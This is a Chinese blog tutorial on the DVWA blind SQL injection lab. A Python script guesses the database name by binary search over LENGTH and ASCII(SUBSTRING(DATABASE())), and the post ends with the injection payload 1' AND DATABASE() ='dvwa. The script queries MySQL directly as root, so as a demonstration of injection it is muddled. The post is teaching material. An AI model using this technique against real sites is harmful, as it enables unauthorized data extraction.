使用二分法爆破数据库名

这一篇是基于dvwa下的SQL盲注(SDL Injection(Blind),在已知数据库存在和SDL盲注可行的前提下进行更深一步的操作。这里,我们将会通过python来爆破数据库名。

1.python连接数据库。

(1)首先我们需要查看自己的python是否已经已经安装了pymysql库,如果没有安装,可以通过Win+R打开命令行,输入pip install pymysql进行安装,也可以在pycharm应用中直接安装

找到pychram设置里面的python解释器,点击左上角的加号,输入pymysql,点击安装,等到显示成功就可以了。

安装到用户的站点软件包目录,如果不选择,我们就只能在pycharm的虚拟环境下使用,而且我是在选择python解释器3.8版本下进行安装的,如果我换成了其他的解释器,也是不能运行我们下载在虚拟环境下的库的。

(2)配置好环境后,我们就可以连接我们的库了。

# 数据库配置信息
db_config = {
    'host': 'localhost',        # 数据库服务器地址,我的直接使用的本机上的数据库
    'user': 'root',             #用户名
    'password': '123456',       #密码
    'database': 'dvwa',         #所要连接的数据库
    'port': 3306,               # 默认端口   
    'charset': 'utf8mb4'        #连接数据库时使用的字符集
}
# 连接数据库
connection = pymysql.connect(**db_config)

在mysql命令行输入status;可以查看数据库的信息,其中就包括了主机地址和端口号。

(3)建立游标,进行一个简单的数据库查询,看是否成功。

try:
    # 创建一个游标对象
    with connection.cursor() as cursor:
        # 执行 SQL 查询
        #从 `users` 表中选取 `user_id` 为 `'1'` 的用户的 `first_name` 和 `last_name`。
        sql_query = """
           SELECT first_name, last_name  
        FROM users 
        WHERE user_id = '1' 
        
        """
        #使用execute()方法,执行SQL语句
        cursor.execute(sql_query)

        # 获取查询结果
        #fetchall()函数,它的返回值是多个元组,即返回多个行记录,如果没有结果,返回的是()
        result = cursor.fetchall()

        # 输出结果
        for row in result:
            print(f"First Name: {row[0]}, Last Name: {row[1]}")

    # 提交事务(如果有写操作)
    # 当对数据库进行了一组相关的操作(如插入、更新或删除记录)后,如果想要保存这些更改到数据库中,
    #就需要调用 commit() 方法。一旦调用了此方法,所有在当前事务范围内的更改都将永久保存到数据库中。
    connection.commit()

except Exception as e:
    print(f"Error connecting to the database: {e}")
    # 回滚事务(如果有写操作且发生错误)
    #在一组数据库操作中,如果有任何错误或者异常发生,导致无法成功完成所有操作,
    #此时可以使用 rollback() 方法来撤销之前的所有变更,将数据库状态恢复到事务开始前的状态。
    connection.rollback()

finally:
    # 关闭数据库连接
    connection.close()

在这里,我解释一下游标的作用,在数据库编程中,游标是一种能够从数据库检索出一条或多条记录,并对这些记录进行处理的对象。游标可以被用来逐行读取查询结果,允许程序员像操作单个记录一样操作整个结果集。

当连接数据库后,游标开启的时候,我们就能在python中操作数据库中的内容,并将数据库的内容放回给用户。

除了上述查询结果的方式,还可以使用函数fetchone(),它的返回值是单个的元组,也就是一行记录,如果没有结果,那就会返回null。

如果只是查询数据库的内容就可以将代码简化,就不需要对数据库更改经行保存了。

2.使用二分法爆破数据库长度。

def get_database_length():
    l = 0
    m = 100

    while l < m:
        mid = (l + m) // 2
        sql_query = """
            SELECT 1 
            FROM users 
            WHERE user_id = '1' AND (SELECT LENGTH(DATABASE())) > %s
        """
        with connection.cursor() as cursor:
            cursor.execute(sql_query, (mid,))
            result = cursor.fetchone()

            if result:
                l = mid + 1
            else:
                m = mid

    return l

执行便可以看到运行结果,我这的数据库名的长度为4

3.使用二分法爆破数据库名。

我们的爆破是在我们已经知道数据库是字符串的条件下,而且已知数据库名是由字母组成进行爆破的。

def get_database_name(length):
    database_name = ''
    for i in range(1, length + 1):
        low = 32
        high = 127
        while low < high:
            mid = (low + high) // 2
            #ASCII函数是将数据库名的字符转换成ascii码
            sql_query = """
                SELECT 1 
                FROM users 
                WHERE user_id = '1' AND (SELECT ASCII(SUBSTRING(DATABASE(), %s, 1))) > %s
            """
            with connection.cursor() as cursor:
                cursor.execute(sql_query, (i, mid))
                result = cursor.fetchone()

                if result:
                    low = mid+1
                else:
                    high = mid

        # 将爆破出的字符添加到database_name中
        database_name += chr(low)

    return database_name

4.总的代码

import pymysql
# 数据库配置信息
db_config = {
    'host': 'localhost',     #数据库服务器地址
    'user': 'root',          #用户名
    'password': '123456',    #密码
    'database': 'dvwa',      #数据库名
    'port': 3306,            #默认端口
    'charset': 'utf8mb4'     ##连接数据库时使用的字符集
}

# 连接数据库
connection = pymysql.connect(**db_config)

#获得数据库名的长度
def get_database_length():
    l = 0
    m = 100

    while l < m:
        mid = (l + m) // 2 #保证mid是个整数
        sql_query = """
            SELECT 1 
            FROM users 
            WHERE user_id = '1' AND (SELECT LENGTH(DATABASE())) > %s
        """
        with connection.cursor() as cursor:
            cursor.execute(sql_query, (mid,))
            result = cursor.fetchone()

            if result:
                l = mid + 1
            else:
                m = mid

    return l

#获得数据库名
def get_database_name(length):
    database_name = ''
    for i in range(1, length + 1):
        low = 32
        high = 127
        while low < high:
            mid = (low + high) // 2
            #ASCII函数是将数据库名转换成ascii码
            sql_query = """
                SELECT 1 
                FROM users 
                WHERE user_id = '1' AND (SELECT ASCII(SUBSTRING(DATABASE(), %s, 1))) > %s
            """
            with connection.cursor() as cursor:
                cursor.execute(sql_query, (i, mid))
                result = cursor.fetchone()

                if result:
                    low = mid+1
                else:
                    high = mid

        # 将爆破出的字符添加到database_name里面
        database_name += chr(low)

    return database_name


try:
    # 得到数据库名长度
    db_length = get_database_length()
    print(f"The length of the database name is: {db_length}")

    # 得到数据库名
    db_name = get_database_name(db_length)
    print(f"The database name is: {db_name}")

finally:
    connection.close()

运行结果

5.我们可以将我们所得到的数据到DVWA网页进行验证,看是否正确。

先将其调到最低

在SQL Injection(Blind)输入:

1' AND DATABASE() ='dvwa

用户存在,说明我们爆破出来的数据库名是正确的。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值